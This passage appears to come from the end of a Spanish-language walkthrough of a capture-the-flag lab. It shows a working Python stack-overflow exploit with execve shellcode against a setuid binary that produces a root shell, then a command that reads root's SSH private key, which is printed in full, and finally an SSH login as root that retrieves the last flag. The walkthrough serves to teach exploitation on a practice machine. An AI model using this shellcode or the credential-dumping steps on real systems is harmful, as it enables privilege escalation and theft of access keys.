    Ahora definimos el plan anterior en un script de python simplemente convirtiendo la direccion de call rax 0x401014 a little endian que seria igual a \x14\x10\x40

    #!/usr/bin/python2
    
    offset = 264
    
    shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"  
    
    junk = b"A" * (offset - len(shellcode))
    
    callrax = b"\x14\x10\x40"
    
    payload = shellcode + junk + callrax
    
    print(payload)
    

    Finalmente ejecutamos el programa pasandole el payload del script de python como argumento, al hacerlo se nos otorga una /bin/sh como el usuario root

    gato@hell:~$ /opt/projects/strlen $(python2 exploit.py)
    
    █▀ ▀█▀ █▀█ █   █▀▀ █▄ █
    ▄█  █  █▀▄ █▄▄ ██▄ █ ▀█
    
    [*] String: H1�VH�/bin//shWT_j;X�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@  
    
    [+] Length: 267
    
    # whoami
    root
    # hostname -I
    192.168.100.91 172.17.0.1 
    #
    

    Ya como root podemos ejecutar cualquier comando, leemos la id_rsa de root

    # cat /root/.ssh/id_rsa
    -----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
    QyNTUxOQAAACDmJr0/oCVLc+CIr0DLvX/Iekg3KCvx0kHWKMLoBfzERgAAAJDyk+/a8pPv
    2gAAAAtzc2gtZWQyNTUxOQAAACDmJr0/oCVLc+CIr0DLvX/Iekg3KCvx0kHWKMLoBfzERg
    AAAEB9iT+NoXyGbMDx8/m+91bIS5mGxdoy8fxw0Dm3IJ94luYmvT+gJUtz4IivQMu9f8h6  
    SDcoK/HSQdYowugF/MRGAAAACXJvb3RAaGVsbAECAwQ=
    -----END OPENSSH PRIVATE KEY-----
    #
    

    Podemos conectarnos por ssh usando la id_rsa y obtenemos una bash mas interactiva como el usuario root, finalmente podemos leer la ultima flag 11

    ❯ ssh root@192.168.100.91 -i id_rsa
    root@hell:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@hell:~# hostname -I
    192.168.100.91 172.17.0.1 
    root@hell:~# cat flag.txt 
    
    █▀█ █▀█ █▀█ ▀█▀   █ █ █▀▀ █   █  
    █▀▄ █▄█ █▄█  █    █▀█ ██▄ █▄▄ █▄▄
    
    Flag 11: HELL{0V3RF10W_F0R_B3G1NN3R5}
    
    Congratulations on completing this CTF!
    
    - Do you want to tell me what you thought or if you would add/change anything?  
    - Do you want to support me by following me on the networks?
    - Have you found any unexpected route?
    
    Contact me through the following links:
    
    Github:    https://github.com/xchg2pwn
    Twitter:   https://twitter.com/xchg2pwn
    YouTube:   https://www.youtube.com/@xchg2pwn
    Discord:   https://discord.com/users/866396648691597374
    Instagram: https://www.instagram.com/xchg2pwn
    
    root@hell:~#